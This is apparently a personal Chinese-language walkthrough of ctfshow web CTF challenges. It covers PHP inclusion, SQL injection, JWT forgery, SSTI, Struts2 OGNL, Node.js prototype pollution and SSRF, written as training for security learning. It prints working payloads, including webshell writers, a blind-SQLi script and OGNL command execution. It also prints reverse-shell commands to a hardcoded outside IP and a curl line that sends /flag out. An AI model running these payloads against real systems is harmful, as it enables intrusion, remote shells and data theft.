我要变强!
ctfshow VIP 题库开刷!
# PHP 文件包含
# web78
没有任何过滤的裸 include 直接 include2shell 开杀
哦这个还用不了 include2shell 没有启用这些 filter
那就直接读取就行
php://filter/convert.base64-encode/resource=flag.php |
# web79
过滤了 php 字段 用 data 协议传个 🐎 进去
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy4/Pz8iKSA/Pg== |
# web80
草了 又把 data 也给过滤了
但是没过滤大小写 所以用 PHP://input 和 post 内容写个马就读到了 cat fl0g.php
# web81
byd 怎么把冒号给过滤了
这回要打正经的日志包含了
nginx 日志路径:/var/log/nginx/access.log
apache 日志路径:/var/log/apache2/access.log
log 会记录 url 和 ua 因为 url 会进行编码 所以用 ua 写马
在 UA 里改成要执行的 php 命令 一定要一次成功 如果有问题就会 fatalerror 只能重开环境
总之就是把 UA 设置成 <?php system ('cat fl0g.php');?> 多访问几次 就出来了
# web82
这个题把。给过滤了 算你狠
打一个 session 竞争包含 具体看这里 https://www.freebuf.com/vuls/202819.html
import io | |
import requests | |
import threading | |
sessid = 'tri' | |
def POST(session): | |
f = io.BytesIO(b'a' * 1024 * 50) | |
session.post( | |
'http://f1510789-decf-456f-bc71-bfcc9b8a693d.challenge.ctf.show/', | |
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system(\"ls\");?>"}, | |
files={"file":('q.txt', f)}, | |
cookies={'PHPSESSID':sessid} | |
) | |
with requests.session() as session: | |
while True: | |
POST(session) | |
print(f"[+] 成功写入sess_{sessid}") |
一边发送这个 一边包含 /tmp/sess_SESSID 就能 rce
这会没开竞争环境 就先写完 wp 先不做了
先做不用竞争的
# web87
有一行
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); |
一个死亡 exit 所以需要用一些操作把这个 die 转义了以后再写入 shell
这里的 file 是可以用伪协议的 构造一个带 rot13filter 的 write 伪协议 同时提前 rot13 一次 content 就能把 die 给转义 同时恢复 content 原样
php://filter/write=string.rot13/resource=2.php
这里要过两次 urlencode 因为会再被动 decode 一次
# web88
preg_match("/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i", $file)
看着过滤了好多
实际上呢 直接打 79 的 payload 就能过 找一个编码 base64 后不含有特殊符号的密码就好
# web116
从 mp4 里分离出 png 是源码截图
过滤了一堆 但是发现我可以直接包含 flag.php 拿到 flag
# web117
看起来很像 web87?但是把 rot13 过滤了 需要找其他的方法转义死亡 exit
从 https://www.anquanke.com/post/id/202510#h2-14 里找到了一些方法
通过 UCS-2 方式,对目标字符串进行 2 位一反转(这里的 2LE 和 2BE 可以看作是小端和大端的列子),也就是说构造的恶意代码需要是 UCS-2 中 2 的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell1.php |
contents 也是预先翻转过?<hp pvela$(G_TE'[mc'd)]?;>>
这样就有了一个 webshell
# PHP 特性
这一块就是刷基础的部分了
# web89
if(preg_match("/[0-9]/", $num)){ | |
die("no no no!"); | |
} |
经典的要绕过 pregmatch,这里采用数组绕过 pregmatch 在参数不合法时就会返回 false
?num[]=1 |
# web90
if($num==="4476"){ | |
die("no no no!"); | |
} | |
if(intval($num,0)===4476){ | |
echo $flag; | |
}else{ | |
echo intval($num,0); | |
} |
先是一个强比较 4476,然后用了一个 intval
intval ($num,0) 的工作原理如下
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 "0" 开始,使用 8 进制 (octal);否则,
- 将使用 10 进制 (decimal)。
这样就可以利用进制构建一个 payload
?num=0x117c |
0x117c 转到 10 进制就是 4476
# web91
$a=$_GET['cmd']; | |
if(preg_match('/^php$/im', $a)){ | |
if(preg_match('/^php$/i', $a)){ | |
echo 'hacker'; | |
} | |
else{ | |
echo $flag; | |
} | |
} | |
else{ | |
echo 'nonononono'; | |
} |
第一行的正则多了一个 m 修饰符,指的是多行匹配
就可以构建一个带换行的字符串
在 url 中,换行符是 %0a
所以令 cmd=%0aphp 就能达成条件
# web92
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==4476){ | |
die("no no no!"); | |
} | |
if(intval($num,0)==4476){ | |
echo $flag; | |
}else{ | |
echo intval($num,0); | |
} | |
} |
可以直接用 90 的 payload 原理是一样的
# web93
if(isset($_GET['num'])){ | |
$num = $_GET['num']; | |
if($num==4476){ | |
die("no no no!"); | |
} | |
if(preg_match("/[a-z]/i", $num)){ | |
die("no no no!"); | |
} | |
if(intval($num,0)==4476){ | |
echo $flag; | |
}else{ | |
echo intval($num,0); | |
} |
不让用进制转换的 intval,所以可以令 num=4476.1, 转换成 int 的时候就会自己把小数舍去了
# web94
if(!strpos($num, "0")){ | |
die("no no no!"); | |
} |
这个题在上一题基础上加了一条限制,要求 num 中含有 0
所以让 num=4476.10 即可
# web95
if(preg_match("/[a-z]|\./i", $num)){ | |
die("no no no!!"); | |
} |
把小数点 ban 了
?num=+010574 可以用八进制绕过 前面加上一个加号让 intval 能把他识别成整数
# web96
if(isset($_GET['u'])){ | |
if($_GET['u']=='flag.php'){ | |
die("no no no"); | |
}else{ | |
highlight_file($_GET['u']); | |
} | |
} |
不让直接传 flag.php 那就传./flag.php 啊
# web97
include("flag.php"); | |
highlight_file(__FILE__); | |
if (isset($_POST['a']) and isset($_POST['b'])) { | |
if ($_POST['a'] != $_POST['b']) | |
if (md5($_POST['a']) === md5($_POST['b'])) | |
echo $flag; | |
else | |
print 'Wrong.'; | |
} |
md5 弱比较,直接数组绕过
a[]=1&b[]=a
# web98
include("flag.php"); | |
$_GET?$_GET=&$_POST:'flag'; | |
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; | |
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; | |
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); |
?这什么
实在是低能完了 不会遇到这种题的
1. **`include("flag.php");`**: 尝试包含一个名为 "flag.php" 的文件。这个文件可能包含一些敏感信息,但我们无法确定其内容,因为这个文件没有提供。
2. **`$_GET?$_GET=&$_POST:'flag';`**: 这一行实际上是在检查是否存在 GET 请求,并且将 **`$_GET`** 设置为 **`$_POST`**,否则将 **`$_GET`** 设置为字符串 'flag'。
3. **`$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';`**: 如果 **`$_GET['flag']`** 的值等于 'flag',则将 **`$_GET`** 设置为 **`$_COOKIE`**,否则将 **`$_GET`** 设置为字符串 'flag'。
4. **`$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';`**: 类似上一行,如果 **`$_GET['flag']`** 的值等于 'flag',则将 **`$_GET`** 设置为 **`$_SERVER`**,否则将 **`$_GET`** 设置为字符串 'flag'。
5. **`highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);`**: 使用 **`highlight_file`** 函数来高亮显示一个文件的源代码。根据 **`$_GET['HTTP_FLAG']`** 是否等于 'flag' 的条件,决定是显示 'flag.php' 文件的内容还是当前文件的内容。
根据 chatgpt 的解释,只需要把 get 随便传点东西,然后 postHTTP_FLAG=flag 就可以在报错信息里看到 flag 了
# web99
$allow = array(); | |
for ($i=36; $i < 0x36d; $i++) { | |
array_push($allow, rand(1,$i)); | |
} | |
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ | |
file_put_contents($_GET['n'], $_POST['content']); | |
} |
这里是利用 inarray 的漏洞,这个函数默认的 strict 模式是 false 先往 array 里填一些随机数字 所以当 n 以数字开头时 弱比较会把 n 数字之后的字符忽略 所以令 n=1.php 因为 1 肯定会被包含在 allow 里 所以必定能合法绕过
n=1.php&content=<?php system($_POST[1]);?> |
# web100
include("ctfshow.php"); | |
//flag in class ctfshow; | |
$ctfshow = new ctfshow(); | |
$v1=$_GET['v1']; | |
$v2=$_GET['v2']; | |
$v3=$_GET['v3']; | |
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); | |
if($v0){ | |
if(!preg_match("/\;/", $v2)){ | |
if(preg_match("/\;/", $v3)){ | |
eval("$v2('ctfshow')$v3"); | |
} | |
} | |
} |
v0 有一个赋值运算 因为赋值运算优先级大于 and 运算 所以只需要 v1 是数字就行
v2 不能有;v3 要有;所以在 v2 用?> 截断即可
?v1=1 | |
&v2=var_dump($ctfshow)?> | |
&v3=; |
dump 出这个对象 把 0x2d 转换成 - 就是 flag
# web101
修改了 100 中的正则 要求不能含有数字和符号
可以使用 echo new Reflectionclass 获取这个类的参数 就能拿到 flag 了
# web102
# web110
if(isset($_GET['v1']) && isset($_GET['v2'])){ | |
$v1 = $_GET['v1']; | |
$v2 = $_GET['v2']; | |
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ | |
die("error v1"); | |
} | |
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ | |
die("error v2"); | |
} | |
eval("echo new $v1($v2());"); | |
} |
一个仅字母的原生类利用
先用
?v1=FilesystemIterator | |
&v2=getcwd |
获取当前目录下文件
看到 flag 文件以后 直接访问这个文件就能看到 flag 了
# web111
include("flag.php"); | |
function getFlag(&$v1,&$v2){ | |
eval("$$v1 = &$$v2;"); | |
var_dump($$v1); | |
} | |
if(isset($_GET['v1']) && isset($_GET['v2'])){ | |
$v1 = $_GET['v1']; | |
$v2 = $_GET['v2']; | |
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ | |
die("error v1"); | |
} | |
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ | |
die("error v2"); | |
} | |
if(preg_match('/ctfshow/', $v1)){ | |
getFlag($v1,$v2); | |
} |
有一个可变变量 $$v1 和 $$v2
令 v1=ctfshow v2=GLOBALS 这样覆盖后就会 vardumpGLOBALS 把包括 flag 的变量输出出来
# web112
function filter($file){ | |
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ | |
die("hacker!"); | |
}else{ | |
return $file; | |
} | |
} | |
$file=$_GET['file']; | |
if(! is_file($file)){ | |
highlight_file(filter($file)); | |
}else{ | |
echo "hacker!"; | |
} |
用 php 伪协议直接读就行 php://filter/resource=flag.php
# web113
ban 了 filter 用 compress.zlib 读就行
# web114
=web112
# web115
在 php 中 "36" 是等于 "\x0c36" 的,同时 trim 也不会过滤掉 \x0c 也就是 %0c
function filter($num){ | |
$num=str_replace("0x","1",$num); | |
$num=str_replace("0","1",$num); | |
$num=str_replace(".","1",$num); | |
$num=str_replace("e","1",$num); | |
$num=str_replace("+","1",$num); | |
return $num; | |
} | |
$num=$_GET['num']; | |
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ | |
if($num=='36'){ | |
echo $flag; | |
}else{ | |
echo "hacker!!"; | |
} |
num=%0c36
# web123
include("flag.php"); | |
$a=$_SERVER['argv']; | |
$c=$_POST['fun']; | |
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ | |
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ | |
eval("$c".";"); | |
if($fl0g==="flag_give_me"){ | |
echo $flag; | |
} | |
} | |
} |
if($fl0g==="flag_give_me"){
echo $flag;这个纯误导 能eval了 直接echoflag就行了
# web125
题目限制的是 $c<=16 不是长度小于 16 所以直接 eval 再用 get 传进命令就行了
# web126
php7 无法直接用 assert 执行函数 因此用 assert ($a [0]) ?fl0g=flag_give_me 执行赋值语句
# web127
highlight_file(__FILE__); | |
$ctf_show = md5($flag); | |
$url = $_SERVER['QUERY_STRING']; | |
// 特殊字符检测 | |
function waf($url){ | |
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ | |
return true; | |
}else{ | |
return false; | |
} | |
} | |
if(waf($url)){ | |
die("嗯哼?"); | |
}else{ | |
extract($_GET); | |
} | |
if($ctf_show==='ilove36d'){ | |
echo $flag; | |
} |
query 禁止传入这些字符 所以用 ctf show 让 php 处理非法参数名自动转换成_就可以
# web128
$f1 = $_GET['f1']; | |
$f2 = $_GET['f2']; | |
if(check($f1)){ | |
var_dump(call_user_func(call_user_func($f1,$f2))); | |
}else{ | |
echo "嗯哼?"; | |
} | |
function check($str){ | |
return !preg_match('/[0-9]|[a-z]/i', $str); | |
} |
两层用户函数 无字母数字
get_defined_vars 类似 GLOBALS 返回所有已定义变量的数组
# SQLi
# web171
// 拼接 sql 语句查找指定 ID 用户 | |
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;"; |
简单的直接拼接
‘ or 1=1 —+
就能使条件全部成立 返回所有账户
# web172
增加了一层判断
// 检查结果是否有 flag | |
if($row->username!=='flag'){ | |
$ret['msg']='查询成功'; | |
} |
因此使用 union 联合查询
1' union select 2,password from ctfshow_user2 --+
使 username 恒为 2
就可以查询到结果
# web173
和 172 同样的 只是变成了三个字段 修改一下就行
# web174
禁止返回结果中出现 flag 和数字 所以使用布尔盲注获取 flag
import requests | |
from string import ascii_lowercase,digits | |
word = ascii_lowercase + digits + "_{}-" | |
url = "http://001f2822-f26a-44bb-a9b6-ad7ed9dbb1a6.challenge.ctf.show/api/v4.php?id=" | |
flag = "" | |
while True: | |
for i in word: | |
r = requests.get(url + f"1' AND (SELECT password FROM ctfshow_user4 where username = 'flag') LIKE '{flag + i}%' --+") | |
if "admin" in r.text: | |
flag += i | |
print(flag) | |
break |
# web175
这个题禁止了所有 ascii 字符 也就是没有回显 就不能使用布尔盲注了 可以使用时间盲注
也可以通过 into outfile 把结果写入外部网站文件
1' union select username , password from ctfshow_user5 where username='flag' into outfile'/var/www/html/ctf.txt' --+
# web176
这个题开始有 waf 了 不知道过滤了什么
用 a' or 1=1 --+ 可以直接绕过
# web177
这里的 waf 过滤了空格 因此把所有的空格用 /**/ 行间注释替代 再用 unionselect 查询即可
# web178
这个题把注释符全部过滤 因此可以使用 %0b 或者 %09 替代空格
或者使用不需要空格的 payload
'or'1'='1'%23
# web179
依然是对空格的过滤上做改变 因此可以使用上面的 payload
# web180
禁止使用 #来注释语句剩余内容 改为使用 —+ 这里的 + 需要 url 编码成 %0c
# JWT
# web345
where is flag? 查看响应标头,有一个 auth cookie 给了一个 jwt,并提示要访问 admin
auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MDA1NzIxMjAsImV4cCI6MTcwMDU3OTMyMCwibmJmIjoxNzAwNTcyMTIwLCJzdWIiOiJ1c2VyIiwianRpIjoiMzc0MDIyOWYxYjE3MWRmZTZhNjJjNjMzZjlkMGRiZWUifV0 |
解码出来是这样 没有签名的 jwt 直接把 sub 改成 admin 试试
用改好的 jwt 访问 admin 获得 flag
# web346
auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3MjQ5MCwiZXhwIjoxNzAwNTc5NjkwLCJuYmYiOjE3MDA1NzI0OTAsInN1YiI6InVzZXIiLCJqdGkiOiI4NDQ5YmYyMzQwMWE2OGE3NTk3YTIwOWQ5YzE4NWI1MCJ9.Zx2mZerMpnJTieuQHpYoGqQ8WKIzn36bseFh9oH |
这下 jwt 带签名了,用的 HS256 算法,需要先破解 secretkey
这个题考察的是 jwt 攻击方法之一的 alg 为 none,有一些后端在你把 jwtheader 的 alg 设置为 none 时就不会验证签名
用 jwttools 先生成修改好 admin 的 jwt
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3NTk1OCwiZXhwIjoxNzAwNTgzMTU4LCJuYmYiOjE3MDA1NzU5NTgsInN1YiI6ImFkbWluIiwianRpIjoiZTE2NTZhOGU2ZTFkNDVkYWIwOGIzZjhjYmVkYzZkM2MifQ.Y6rVpdFqoNkrP0o1bOlQHpge7SSxdpnyyKET5i34e6U -Xa |
然后用 - Xa 执行 none 攻击
用这个 jwt 访问就可以拿到 flag
# web347
题目提示 jwt 弱口令,爆破一下 sk 是 123456
修改 admin 直接带上访问
# web348
同样的爆破 字典跑出来是 aaab
# web349
这是一道私钥泄露的题 访问 /private.key 能获得私钥
用这个私钥修改为 admin 之后直接签名即可
# web350
泄露了 publicKey
这个题打 CVE-2016-5431 这个洞 是将 RS256 非对称加密修改为 HS256 对称加密的问题 一个签名算法混淆 但是校验不严格
尝试用 py 的 jwt 包打了但是不通 可能内部签名逻辑还是不同
用一个 js 脚本导入相同的包
var jwt = require('jsonwebtoken'); | |
var fs = require('fs'); | |
var privateKey = fs.readFileSync('./public.key'); | |
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' }); | |
console.log(token); |
再用这个 token 去访问就能拿到 flag 了
# SSTI
经典总结 https://tttang.com/archive/1698/
# web361
题目描述是 名字就是考点
估计是 name query 的 ssti
?name=<!--swig0--><!--swig1--><!--swig2--><!--swig3--><!--swig4--> |
# web362
加上过滤了
这里的过滤语句是 2|3
不知道过滤的什么,反正上面的 payload 还能用
# web363
这里好像过滤了单引号
这样就把单引号中的字符串用 request.args.a 代替,再用 a=os 这样传进去
?name=<!--swig5-->&a=os&b=env |
# web364
试了一下 是把 args 给 ban 了
那就用 cookies 代替
?name=<!--swig6--> |
同时 cookie 传入 a=os;b=env
# web365
这个是过滤了单双引号 args 和 [ 所以还能用上一个的 payload
# web366
过滤了下划线
还是用 request.cookies 或者 request.values 代替,这里用 | attr () 绕过
原来那个 payload 下划线太多了,找个少点的来写
?name=<!--swig7--> |
b=env;c=globals
# web367
把 os 过滤掉了
?name=<!--swig8--> |
b=env;c=globals;d=os
# web368
过滤了
所以用 {+% 和 %+} 代替,原来的 payload 加一个 print 就行了
?name=<!--swig10--> |
# web369
把 request 过滤掉了
<!--swig11--> | |
<!--swig12--> | |
<!--swig13--> | |
<!--swig14--> | |
<!--swig15--> | |
<!--swig16--> | |
<!--swig17--> | |
<!--swig18--> | |
<!--swig19--> | |
<!--swig20--> | |
<!--swig21--> | |
<!--swig22--> | |
<!--swig23--> |
用了一个很麻烦的 payload,基本思路就是获取各个需要的部分的字符串并保存在变量里,获取 chr 函数拼接出需要的命令,最后使用这些变量拼接执行命令
# web370
这个题过滤了数字,可以用 count 这个 filter 来获取
还有一个邪道是用全角数字代替半角数字
<!--swig24--> | |
<!--swig25--> | |
<!--swig26--> | |
<!--swig27--> | |
<!--swig28--> | |
<!--swig29--> | |
<!--swig30--> | |
<!--swig31--> | |
<!--swig32--> | |
def half2full(half): | |
full = '' | |
for ch in half: | |
if ord(ch) in range(33, 127): | |
ch = chr(ord(ch) + 0xfee0) | |
elif ord(ch) == 32: | |
ch = chr(0x3000) | |
else: | |
pass | |
full += ch | |
return full | |
while 1: | |
t = '' | |
s = input("输入想要转换的数字字符串:") | |
for i in s: | |
t += half2full(i) | |
print(t) |
把原本 payload 的数字全换成这个就行了
# web371
这个题禁止了 print,需要找到其他的数据外带方法
这里可以用 curl 访问信标来外带数据
具体命令是
curl -X POST -F xx=@/flag domain |
@就能实现读取这个文件 把内容发送出来
# web372
禁止了 count,就用 370 这个全角数字打就可以
之前做 ISCC 的时候遇到过一个很综合的 ssti 题目,这里 https://blog.csdn.net/c868954104/article/details/131003141
# JAVA
# web279
题目提示了是 S2-001 用 struts2 工具直接开杀
# web280
S2-005 同样开杀
# web281
S2-007 杀
# web282
S2-008 杀
# web283
杀 不是 我都不知道在干啥 这利用工具杀疯了啊
# web284
S2-016 通杀
# web285
杀
# web286
杀
# web287
杀
# web288
杀
# web289
S2-029 这个没有一键 exp 上网抄了个 他标题写的 S2-032 成功误导我了
default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())) |
# web290
杀
# web291
杀
# web292
杀
# web293
杀
# web294
杀
# web295
也是没 exp 网上找一个
在 showcase 的 /integration/saveGangster.action 路径下输入 OGNL 语法,$
出来的是 3 说明执行成功
然后就类似 SSTI 的 RCE 拿下了
# web296
杀
# web297
杀
# web298
终于不是 S2 系列通杀了!
这个题有坑!默认进去的路径是 / 这个是 404 的 要手动跳到 ctfshow/
给了源码,是要满足
public boolean getVipStatus() { | |
return this.username.equals("admin") && this.password.equals("ctfshow"); | |
} |
哦
这个低能题 还得手动调 login 目录 一点提示没有
/ctfshow/login?username=admin&password=ctfshow
# web299
有一行注释
但是没有.php 转而读取 java 常用的 jsp
接着扫描 / WEB-INF/web.xml 发现存在 com.ctfshow.servlet.GetFlag
读取试试
对应的文件路径是 / WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
读取到的源码中有一个
用../../../../fl3g 读取到 flag
# web300
和上个题类似 只是套了个 php 的皮 我想用 include2shell 打就露出原形了
# PHPCVE
# Web312
1. 环境
看到是 php5.6.38 一个邮箱系统
查询 cve 找到 CVE-2018-19518
通过设置 - oProxyCommand = 来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞
利用方式;先写一个一句话 然后 base64 用 shell 命令把他写进一个文件
echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >/var/www/html/1.php |
再把这一句 base64 写进 exp
x -oProxyCommand=echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+L3Zhci93d3cvaHRtbC8xLnBocA=="|base64 -d|sh} |
填进 hostname 注意 前面这个一定是 x 然后要两次 url 编码
然后就能 rce 了
# NodeJS
基础宝箱:https://xz.aliyun.com/t/11791
# web334
这一块是 nodejs 题目
下载下来源码,看出是要绕过这一段
var findUser = function (name, password) { | |
return users.find(function (item) { | |
return ( | |
name !== "CTFSHOW" && | |
item.username === name.toUpperCase() && | |
item.password === password | |
); | |
}); | |
}; |
再一看 哦 原来给账号密码了
module.exports = { | |
items: [{ username: "CTFSHOW", password: "123456" }], | |
}; |
# web335
where is flag?
f12 看到注释
<!-- /?eval= -→ |
估计是要在 nodejs 里 rce
利用 require ("child_process").execSync ("ls"); 来 rce,成功读取到 flag
# web336
还是 where is flag?
但是好像有一些过滤 过滤了 exec?不确定
https://forum.butian.net/share/1631 这里有一些常见的 bypass 方法
require("child_process")["ex" + "ecSync"]("ls"); |
用 [] 执行方法,拼接字符串绕过 exec 限制
注意特殊符号要 url 编码
# web337
题目描述给出了源码
var express = require("express"); | |
var router = express.Router(); | |
var crypto = require("crypto"); | |
function md5(s) { | |
return crypto.createHash("md5").update(s).digest("hex"); | |
} | |
/* GET home page. */ | |
router.get("/", function (req, res, next) { | |
res.type("html"); | |
var flag = "xxxxxxx"; | |
var a = req.query.a; | |
var b = req.query.b; | |
if ( | |
a && | |
b && | |
a.length === b.length && | |
a !== b && | |
md5(a + flag) === md5(b + flag) | |
) { | |
res.end(flag); | |
} else { | |
res.render("index", { msg: "tql" }); | |
} | |
}); | |
module.exports = router; |
原来是经典闯关绕过
用 nodejs 特性传入两个对象
a[a]=1&b[b]=2
在内部表示为
a = { a: "1" }; | |
b = { b: "2" }; |
这样就绕过了限制
# web338
题目给了源码
审了一圈以后发现获取 flag 要求是要求 secert.ctfshow==36dboy
utils.copy(user,req.body); | |
if(secert.ctfshow==='36dboy'){ | |
res.end(flag); |
并且发现一个 copy 函数
function copy(object1, object2) { | |
for (let key in object2) { | |
if (key in object2 && key in object1) { | |
copy(object1[key], object2[key]); | |
} else { | |
object1[key] = object2[key]; | |
} | |
} | |
} |
很明显的 pollute!
构建一个请求
{"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}} |
注意这种包 hackbar 是有问题的 得用 bp 或者 requests 硬发
发完就拿到了 flag
# web339
源码类似 338,但是要求变成了 secert.ctfshow===flag,这明显是不可能成立的
同时多了一个 api 路由
router.post("/", require("body-parser").json(), function (req, res, next) { | |
res.type("html"); | |
res.render("api", { query: Function(query)(query) }); | |
}); |
注意这个 query:这是个什么 b 东西呢?哪都不存在,所以我们应该对 object 污染出这个东西
因为也不知道 flag 位置 就直接用最简单的弹一个 shell 出来的 payload
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/x/9001 0>&1\"')"}} |
这样再访问 /api 就会自动弹出 shell
访问 /app/routes/login.js 拿到 flag
> PS:如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令
# web340
utils.copy(user.userinfo,req.body); | |
if(user.userinfo.isAdmin){ | |
res.end(flag); |
差不多的事 但是改成向上污染两层
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"')"}}} |
# web341
这一题删除了 339 和 340 中的 api 路由,因此不能靠污染 query 来 rce
所以使用原型链污染到 ejs 的 rce payload 来弹 shell
具体可看 https://xz.aliyun.com/t/7075
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"');var __tmp2"}}} |
# web342
这一题换用了 jade 模板引擎,要打 jade 的原型链污染 rce 利用链
具体看这里 https://xz.aliyun.com/t/7025#toc-5
相同的两次污染
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"')"}}} |
# web343
和 342 打相同的 payload 就出来了 也不知道他这过滤了什么
# web344
这个题把 nodejs 的低能展现的淋漓尽致
router.get("/", function (req, res, next) { | |
res.type("html"); | |
var flag = "flag_here"; | |
if (req.url.match(/8c|2c|\,/gi)) { | |
res.end("where is flag :)"); | |
} | |
var query = JSON.parse(req.query.query); | |
if ( | |
query.name === "admin" && | |
query.password === "ctfshow" && | |
query.isVIP === true | |
) { | |
res.end(flag); | |
} else { | |
res.end("where is flag. :)"); | |
} | |
}); |
要打的 payload 是?query=
?你就给我说这都 tm 截断的参数凭什么能在内部拼在一起啊
把所有的 query 都 urlencode 一下就能传进去了
nodejs 堂堂完结!
# SSRF
# web351
这个题给了一个 curl 的环境 允许传入 curl 的内容
直接 file 协议读 flag.php 就好了
# web352
只允许 http/s 协议和非 localhost/127.0.0.1,但是不知为何 http://127.0.0.1/flag.php 能拿到 flag
# web353
加强了正则表达式,但是 linux 中只要 127 开头就可以表示本机地址 因此将 127.0.0.1 换为其他 ip 即可
# web354
匹配了 localhost|1|0|。
也就是说不能用 localhost/127 开头 / 0 了 此时可以用一个解析到 127.0.0.1 的域名 得到相同的效果
# web355
要求 host 长度小于 5 用 0 表示本机 ip 即可
# web356
同上 把 host 长度限制改成了小于等于 3
# 中期考核
# web486
默认访问路径是 /index.php?action=login
我凭直觉感觉这个 action 后面肯定是个 include 或者什么的套着
于是改成 /etc/passwd 试试
果然
fuzz 了几个文件以后,试出来 flag 在 /var/www/html/flag.php 里,都不用绕过末尾的.php